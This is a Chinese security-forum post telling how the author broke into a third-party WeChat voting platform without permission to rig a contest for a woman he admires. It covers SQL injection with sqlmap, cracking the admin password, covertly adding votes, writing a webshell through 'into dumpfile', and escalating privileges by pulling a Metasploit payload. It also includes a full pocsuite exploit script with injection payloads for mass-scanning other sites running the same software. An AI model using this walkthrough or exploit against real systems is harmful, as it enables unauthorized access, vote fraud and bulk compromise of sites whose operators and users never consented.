来源；http://bbs.ichunqiu.com/thread-10123-1-1.html?from=ch
0x01 前言
本来之前写了很多前言了，可是昨天早晨发生了一件事，我打算重新写前言，小伙伴们，小板凳准备好，我的前言是这样的：满屏都是王宝强，真诚提醒忘掉他们昨日的誓言。李晨说会一直保护张馨予，谢霆锋说不介意张柏芝的过去，文章说这辈子最骄傲的是马伊琍……人有时真的是很善变的动物，真正永恒不变的只有
你挖或不挖，漏洞就在那里
全心全意为你陪伴着你
很多盆友说不会再爱了，但我想说，女神还是得追的，万一她瞎呢。所以，书接上回，和女神聊天聊起来给基友孩子刷票的事，她一下就来劲了，说正好她也在参加一个投票活动，能不能帮她刷票啊，如果得第一，有特殊奖励哦，特殊奖励（做痴迷状）……
0x02 渗透测试
0x021 信息收集
投过手机浏览投票页面，发现是第三方程序，而非微信官方投票系统，那就能继续向前走，
并且都没微信端验证，在电脑上可以直接打开，隐隐觉得有戏。
手机抓包投票数据，根据上次刷票的经验，有可能下图中标识的两个id为验证项，也就是说，要想达到刷票目的，需要大量openid，后续事实证明如此，但我们今天刷票更精彩，各位客官，且听我慢慢道来。
将url除域名意外的部分删掉看看主页是个什么样子，当我看到登录界面时，我心中的猛虎已开始细嗅蔷薇。
0x022 SQL注入
平时我已经习惯了浏览网页时开着被动注入检测工具（点这里url），可这次却没用到，因为工具是有延时的，没有手工来得快。说来你们可能不信，看到第一张图我标示的那个搜索框了吗？当我输入一个单引号时，竟然报错了，这也许就是渗透经验吧。
果断用burp抓取搜索包，给sqlmap检测
[AppleScript]纯文本查看复制代码
?
1
Python sqlmap.py –r post.txt –dbs
经过漫长的等待，检测结果出来了，有两个参数存在注入，分别为id和token
经过漫长的分析（分析表结构，n多表，此处省略1万字，渗透是体力活啊），终于拿到了管理员的用户名和密码散列还有QQ。
花了1毛钱最终破解了密码，为了女神，值！
0x023进后台加票
用破解的用户名密码成功登陆后台，此时我内心的猛虎已开始咆哮。
那还等什么，看看怎么加票吧！点“选手设置”，看到了女神，排名还比较靠后。点“投票选项管理”，加减票选项出现了，是的，既可以加票也可以检票
有的同学可能会问了，那这投票岂不是管理员说了算？想让谁第一就让谁第一？没错，管理员具有“上帝模式”（为什么加引号？因为我才是真正的上帝！），不仅如此，还有更扯淡的，那就是主页上的浏览量、投票量和报名数都可以在后台设置。我好像知道的有点多了。
为了不让管理员发觉，我分数次将女神顶到了前边，但出现了新问题，这套系统的目的就是微信圈粉，如果关注公众号投票后又取消，那么所投票数是会被自动减掉的，并且后台会记录所有投票的记录数。
也就是说，如果不在后台加票，那么总记录数=总票数+减去的票数，但如果我在后台直接加票，会使得总记录数<总票数，管理员就有理由认为有人进后台加票了。那怎么办？
理了一下思路发现有两条路可走，
第一条路，利用刷票的方法满足以上等式条件，可刷票需要大量openid，哪里去弄那么多openid？再像上次那样XSS打？还不一定有XSS，即使有，时间成本太高，也刷不了几票，但是（重读），系统竟然很贴心的为我们准备好了所有投过票用户的openid，还支持导出excle，
但通过实践，可以成功刷票并且满足以上条件（具体过程限于篇幅不表，可参考上篇文章url），可是又有了新的问题，就是你把别人的openid用了，人家再投票回提示已投票，不能再投了，相当于我把所有选手的支持者都拉到了我女神的石榴裙下，那人家能乐意吗？万一有好事者联系管理员，那九前功尽弃了，动静太大了，正所谓“善攻者，飞于九天之上；善守者，遁于九地之下。”，此时我们就应该“遁于九地之下”，来看第二条路……
第二条路，就是取得webshell或者数据库权限，直接修改数据库中的记录数，使得后台加票后也满足以上等式。怎么？有些不耐心了？想直接加票就走人？不，我们要的是Perfect.
0x024 Get Webshell
我们来总结下，看看我们手里有多少料，你妹的，貌似我们除了一个后台，一个注入点，什么都没有。后台经过漫长的检测（累啊！头悬梁，锥刺股，大喊三声“女神”，接着干），并没有上传漏洞，并没有命令执行，并没有CSRF，并没有……总之后台没能getshell。此时我心中的猛虎酣睡了。现在只有注入点了，看看是什么权限吧，还算有点欣慰，是root。（这一天天，大起大落，小心脏都受不了）
那快用sqlmap写个webshell试试吧，写shell需要绝对路径，哪里找？刚开始的单引号报错就爆出了绝对路径，从后台照片处找到了照片上传路径，这样就构造出了有写权限的绝对路径。
竟然失败了。
说实话，当时我都快哭了，可是一想到女神，再一次目光坚定的望向了远方……那我看看能不能查出数据库用户名密码，然后幸运的话可以外联一下，事实证明，我特么想多了，又失败了。
既然工具不行，那就手工写shell把，还好，那我们直接经典的selectinto outfile导出webshell不就行了，用sqlmap的sql-shell试了下，总提示条件不满足。
还好注入点支持union联合查询，直接执行
[AppleScript]纯文本查看复制代码
?
1
Select,2,3,4intooutfile d:\\www\\uploads\\c.php
还是失败了（绝对路径用双斜杠是因为在执行时会将一个\转义为空）。好像是超过了长度，这个时候看到了这篇帖子点我，我可以把一句话拆分再hex啊
还是失败了，查了下原因。
mysql dumpfile与outfile函数的区别 SELECT into outfile :导出到一个txt文件，可以导出每行记录的，这个很适合导库 SELECT into dump:只能导出一行数据如果想把一个可执行二进制文件用into outfile函数导出，导出后，文件会被破坏因为into outfile函数会在行末端写新行，更致使的是会转义换行符，这样2进制可执行文件就会被破坏这时，我们能用into dumpfile导出一个完整能执行的2进制文件，它不对任何列或行进行终止，也不执行任何转义处理总结： into outfile:导出内容 into dumpfile:导出二进制文件
把outfile换成dumpfile，终于成功getshell，真是黄天不负有心人啊。
后来提权后测试发现，intooutfile会把一句话导出为这样
看到没有，中间多了空格。
终于可以放心大胆的给女神加票了，最终在我的帮助之下，女神取得了第一，特殊奖励就是一个大大的拥抱，88块的红包和她崇拜的眼神，我是说真的J
0x025 编写poc批量验证
刷票任务完成了，但是我们学习的脚步不能停，我发现这套投票系统比较通用，通过pentest(url)的谷歌工具发现网上有大量部署，何不写个poc批量验证呢，我习惯了用pocsuit写poc，大家可以选择其他框架。这里我直接给出代码
[Python]纯文本查看复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97#!/usr/bin/env python
# coding: utf-8
importre
importurlparse
importurllib
importurllib2
frompocsuite.netimportreq
frompocsuite.pocimportPOCBase, Output
frompocsuite.utilsimportregister
classTestPOC(POCBase):
vulID='62274'# ssvid
version='1'
author=['野驴']
vulDate='2016-08-05'
createDate='2016-08-05'
updateDate='2016-08-05'
references=['']
name='weilianyun_toupiao_sql_inj_PoC'
appPowerLink='http://www..cn'
appName=''
appVersion='2016'
vulType='SQL Injection'
desc='''
投票管理系统，sql注入，报错，联合查询，时间盲注
'''
samples=['http://www..cn/']
def_attack(self):
result={}
#漏洞页面
exploit='/***&token=Eioa5C5oj3S32qhH&id='
#利用的payload
payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,0x7170717071,(MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,21)),0x716a626a71))'
#构造访问地址
vulurl=self.url+exploit+payload
#提取信息的正则表达式
parttern='.*qpqpq(.*)qjbjq.*'
#自定义的HTTP头
httphead={
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive',
'Content-Type':'application/x-www-form-urlencoded'
}
#访问
resp=req.get(url=vulurl,headers=httphead,timeout=50)
#判断特征字符串
if'XPATH syntax error'inresp.content:
#提取信息
match=re.findall(parttern,resp.content,re.I|re.M)
ifmatch:
result['DbInfo']={}
#记录数据库用户名
result['DbInfo']['UserName']=match[0]
returnself.parse_attack(result)
def_verify(self):
#利用漏洞计算md5(3.1415)
result={}
#漏洞页面
exploit='/***&token=Eioa5C5oj3S32qhH&id='
#利用的payload
payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,MD5(3.1415)))'
#payload='1 AND extractvalue(1, concat(0x5c,md5(3.1415)))'
#md5(3.1415)的值
md5value='63e1f04640e83605c1d177544a5a0488'
#构造访问地址
vulurl=self.url+exploit+payload
#自定义的HTTP头
httphead={
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive',
'Content-Type':'application/x-www-form-urlencoded'
}
#访问
resp=req.get(url=vulurl,headers=httphead,timeout=50)
#判断特征字符串（由于extractvalue有长度限制，这里只比较前30位）
ifmd5value[:30]inresp.content:
#漏洞验证成功
result['VerifyInfo']={}
result['VerifyInfo']['URL']=self.url+exploit
result['VerifyInfo']['Payload']=payload
returnself.parse_attack(result)
defparse_attack(self, result):
output=Output(self)
ifresult:
output.success(result)
else:
output.fail('Internet nothing returned')
returnoutput
register(TestPOC)
这里我说下attack模式下，正则获取数据库用户的方法，通过测试发现投送payload（sqlmap –v 3获得）后，数据库用户是包含在两个特殊字符串中间的
所以我们的正则可以这么写
[AppleScript]纯文本查看复制代码
?
1
.*qpqpq(.*)qjbjq.*
来执行下
导入刚才pentest爬取的域名文件
[AppleScript]纯文本查看复制代码
?
1
2
3Pcs>config
Pcs.config>urlFileurl.txt
pcs>attack
0x026 提权
提权就比较简单了，先msfVENOM生成payload
webshell直接下载公网metasploit的payload，执行后，获得meterpreter交互
0x03 结束语
实在写不动了，但是我想说，渗透虽然是个体力加脑力活，但因为我喜欢，所以痛并快乐着。回顾下我们渗透的过程
信息收集->注入管理员信息->进后台->getwebshell->合法加票->poc批量验证->提权
明天又会有什么趣闻发生呢？管他呢，我退出娱乐圈很久了。
首发i春秋
野驴原创，值得拥有！
声明：以上文章仅作学习交流之用，如读者因阅读本文而做出不恰当举动，纯属个人行为，与本文作者无关。